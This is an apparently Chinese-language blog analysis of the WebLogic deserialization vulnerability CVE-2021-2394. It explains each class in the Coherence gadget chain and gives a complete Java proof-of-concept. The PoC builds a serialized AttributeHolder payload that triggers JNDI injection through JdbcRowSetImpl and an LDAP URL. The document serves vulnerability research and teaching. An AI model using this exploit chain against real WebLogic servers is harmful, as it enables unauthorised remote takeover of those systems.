weblogic漏洞分析之CVE-2021-2394

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

影响版本:

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

前置知识

为了更好的理解漏洞,我将介绍漏洞中涉及的每一个类的作用,再将所有类串起来形成调用链

ExternalizableLite接口

Coherence 组件中存在一个 ​​com.tangosol.io.ExternalizableLite​​,它继承了 ​​java.io.Serializable​​,另外声明了 ​​readExternal​​ 和 ​​writeExternal​​ 这两个方法。

weblogic漏洞分析之CVE-2021-2394_java

ExternalizableHelper类

​ExternalizableHelper​​类可以将实现上面​​ExternalizableLite​​接口的类进行序列化和反序列化操作,在反序列化操作中,会调用​​ExternalizableHelper#readObject​

weblogic漏洞分析之CVE-2021-2394_oracle_02

如上图,在​​ExternalizableHelper#readObject​​中,会调用​​readObjectInternal​​方法,此方法会根据要还原类的类型,选择对应的方法进行解析,对于实现 ​​com.tangosol.io.ExternalizableLite​​ 接口的对象,会进入到 ​​readExternalizableLite​​ 方法:

weblogic漏洞分析之CVE-2021-2394_java_03

在​​readExternalizableLite​​ 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 ​​readExternal()​​ 方法。

weblogic漏洞分析之CVE-2021-2394_父类_04

JdbcRowSetImpl类

此类中​​getDatabaseMetaData​​方法会调用​​this.connect​

weblogic漏洞分析之CVE-2021-2394_构造方法_05

而​​this.connect​​则调用了​​InitialContext#lookup​​,如果​​this.getDataSourceName()​​为恶意uri,则可以产生JNDI注入

weblogic漏洞分析之CVE-2021-2394_eclipse_06

MethodAttributeAccessor类

此类中有一个​​getAttributeValueFromObject​​方法,在​​getAttributeValueFromObject​​方法中,可以调用​​invoke​​来执行任意方法,前提是三个参数可控getMethod、anObject、parameters

weblogic漏洞分析之CVE-2021-2394_java_07

AbstractExtractor类

此类的​​compare​​方法会调用​​this.extract​

weblogic漏洞分析之CVE-2021-2394_父类_08

FilterExtractor类

此类是整个漏洞绕过上一个补丁的关键类,它实现了​​ExternalizableLite​​接口,并且父类是​​AbstractExtractor​

weblogic漏洞分析之CVE-2021-2394_父类_09

在此类中有两个比较重要的方法,首先来看第一个​​extract​​方法,此方法会调用​​attributeAccessor​​的​​getAttributeValueFromObject​​方法

weblogic漏洞分析之CVE-2021-2394_父类_10

第二个是​​readExternal​​方法

weblogic漏洞分析之CVE-2021-2394_父类_11

此方法调用了​​SerializationHelper#readAttributeAccessor​​来从序列化数据中还原​​this.attributeAccessor​​的值

跟进​​readAttributeAccessor​​方法,可以看到是自己​​new​​了一个​​MethodAttributeAccessor​​对象,这里就是绕过补丁的关键

weblogic漏洞分析之CVE-2021-2394_eclipse_12

TopNAggregator$PartialResult类

​TopNAggregator$PartialResult​​是一个静态内部类,也实现了​​ExternalizableLite​​接口,里面有个​​readExternal​​方法

weblogic漏洞分析之CVE-2021-2394_父类_13

在​​readExternal​​方法中也是调用的​​ExternalizableHelper​​进行还原每一个元素,170行还原了​​m_comparator​​后,到172行调用了​​instantiateInternalMap​​方法并且传入了还原的​​m_comparator​​,跟进​​instantiateInternalMap​

weblogic漏洞分析之CVE-2021-2394_java_14

这里首先​​new​​了一个​​SortedBag.WrapperComparator​​,传入​​comparator​​,跟进​​WrapperComparator​​可以看到把​​comparator​​的值赋予给了​​this.f_comparator​

weblogic漏洞分析之CVE-2021-2394_eclipse_15

之后把​​new​​出来的​​SortedBag.WrapperComparator​​对象传入了​​TreeMap​​构造方法,跟进​​TreeMap​​构造方法

weblogic漏洞分析之CVE-2021-2394_eclipse_16

在​​TreeMap​​构造方法只是对​​comparator​​的一个赋值,把刚刚的​​SortedBag.WrapperComparator​​对象传递给了​​this.comparator​

weblogic漏洞分析之CVE-2021-2394_父类_17

回到​​TopNAggregator$PartialResult​​类,最终的把​​TreeMap​​对象赋值给了​​this.m_map​​,接下来看176行的this.add

weblogic漏洞分析之CVE-2021-2394_构造方法_18

跟进​​add​​方法看到调用了父类的​​add​

weblogic漏洞分析之CVE-2021-2394_父类_19

跟进其父类​​SortedBag​​类的​​add​​,在父类​​add​​方法中,调用了​​map.put​​,而这里的​​map​​就是上面的​​TreeMap​​对象

weblogic漏洞分析之CVE-2021-2394_父类_20

TreeMap类

在​​TreeMap​​类中,其​​put​​方法会调用​​compare​

weblogic漏洞分析之CVE-2021-2394_oracle_21

在​​compare​​中调用了​​comparator.compare​​,此处的​​comparator​​是在上个内部类中赋予的值​​SortedBag.WrapperComparator​​类

weblogic漏洞分析之CVE-2021-2394_oracle_22

SortedBag$WrapperComparator类

此类的​​compare​​方法会调用​​this.f_comparator.compare​

weblogic漏洞分析之CVE-2021-2394_父类_23

AttributeHolder类

这个是整个漏洞的入口,在此类中实现了​​readExternal​​方法,在还原​​this.m_oValue​​值时候会调用​​ExternalizableHelper.readObject​

weblogic漏洞分析之CVE-2021-2394_父类_24

漏洞分析

先上gadget:

AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup


POC用Timeline Sec团队的:

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");

Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

jdbcRowSet.setDataSourceName(ldapurl);

FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet);

Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);

AttributeHolder attributeHolder = new AttributeHolder();

Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);

//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close();

//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor {

public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
}

public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}


在​​objectIntputStream.readObject();​​处下断点

weblogic漏洞分析之CVE-2021-2394_构造方法_25

跟进到​​AttributeHolder#readExternal​​,这里使用了​​ExternalizableHelper​​从序列化数据中还原​​this.m_oValue​

weblogic漏洞分析之CVE-2021-2394_eclipse_26

跟进​​ExternalizableHelper#readObject​​,调用了​​readObjectInternal​

weblogic漏洞分析之CVE-2021-2394_父类_27

在​​readObjectInternal​​中,判断​​nType​​的值,进入​​readExternalizableLite​​来处理

weblogic漏洞分析之CVE-2021-2394_父类_28

在​​readExternalizableLite​​中,先实例化了​​TopNAggregator$PartialResult​​类,然后调用了它的​​readExternal​​方法

weblogic漏洞分析之CVE-2021-2394_父类_29

跟进到​​TopNAggregator$PartialResult​​的​​readExternal​​方法,开始依次还原几个变量,先看还原第一个​​m_comparator​

weblogic漏洞分析之CVE-2021-2394_oracle_30

跟进​​ExternalizableHelper#readObject​​到​​readExternalizableLite​​方法,实例化出了​​FilterExtractor​​对象,调用其​​readExternal​​方法

weblogic漏洞分析之CVE-2021-2394_oracle_31

跟进​​FilterExtractor#readExternal​​方法,发现调用了​​SerializationHelper.readAttributeAccessor​​方法来还原​​this.attributeAccessor​​的值

weblogic漏洞分析之CVE-2021-2394_oracle_32

跟进​​SerializationHelper.readAttributeAccessor​​后,可以看到会 ​​new​​ 一个 ​​MethodAttributeAccessor​​ 对象,然后从 ​​DataInput​​ 中还原它的 ​​setAttributeName​​,​​setGetMethodName​​ 以及 ​​setSetMethodName​​ 属性,最后进行返回。

weblogic漏洞分析之CVE-2021-2394_构造方法_33

回到​​TopNAggregator$PartialResult​​的​​readExternal​​方法中,此时​​this.m_comparator​​已经变成了​​FilterExtractor​​对象

weblogic漏洞分析之CVE-2021-2394_父类_34

接着调用到172行的​​instantiateInternalMap​​方法,传入了​​this.m_comparator​

weblogic漏洞分析之CVE-2021-2394_父类_35

在​​instantiateInternalMap​​方法中,首先​​new​​了一个​​SortedBag.WrapperComparator​​,传入​​comparator​​,跟进​​WrapperComparator​​可以看到把​​comparator​​的值赋予给了​​this.f_comparator​

weblogic漏洞分析之CVE-2021-2394_eclipse_15

之后把​​new​​出来的​​SortedBag.WrapperComparator​​对象传入了​​TreeMap​​构造方法,跟进​​TreeMap​​构造方法

weblogic漏洞分析之CVE-2021-2394_eclipse_16

在​​TreeMap​​构造方法只是对​​comparator​​的一个赋值,把刚刚的​​SortedBag.WrapperComparator​​对象传递给了​​this.comparator​

weblogic漏洞分析之CVE-2021-2394_父类_17

回到​​TopNAggregator$PartialResult​​类,最终的把​​TreeMap​​对象赋值给了​​this.m_map​​,接下来看176行的this.add

weblogic漏洞分析之CVE-2021-2394_构造方法_18

跟进​​add​​方法看到调用了父类的​​add​​,可以看到​​value​​的值已经变成了​​JdbcRowSetImpl​

weblogic漏洞分析之CVE-2021-2394_父类_19

跟进其父类​​SortedBag​​类的​​add​​,在父类​​add​​方法中,调用了​​map.put​​,而这里的​​map​​就是上面的​​TreeMap​​对象

weblogic漏洞分析之CVE-2021-2394_父类_20

在​​TreeMap​​类中,其​​put​​方法会调用​​compare​​,此时传入的​​key​​就是​​JdbcRowSetImpl​​对象

weblogic漏洞分析之CVE-2021-2394_oracle_21

在​​compare​​中调用了​​comparator.compare​​,此处的​​comparator​​是在上面​​TreeMap​​中赋予的​​SortedBag.WrapperComparator​​类

weblogic漏洞分析之CVE-2021-2394_eclipse_43

接着进入​​SortedBag.WrapperComparator#compare​​中,可以看到调用了​​FilterExtractor#compare​​,其中o1、o2的值为​​JdbcRowSetImpl​

weblogic漏洞分析之CVE-2021-2394_构造方法_44

跟进​​FilterExtractor#compare​​中,调用了​​this.extract​

weblogic漏洞分析之CVE-2021-2394_java_45

转到​​this.extract​​,调用了​​MethodAttributeAccessor#getAttributeValueFromObject​

weblogic漏洞分析之CVE-2021-2394_构造方法_46

查看​​MethodAttributeAccessor#getAttributeValueFromObject​

weblogic漏洞分析之CVE-2021-2394_java_47

利用​​invoke​​调用了​​JdbcRowSetImpl#getDatabaseMetaData​

weblogic漏洞分析之CVE-2021-2394_父类_48

最终进行了​​lookup​​,其​​this.getDataSourceName()​​就是我们输入的LDAP地址

weblogic漏洞分析之CVE-2021-2394_父类_49

弹出计算器

weblogic漏洞分析之CVE-2021-2394_eclipse_50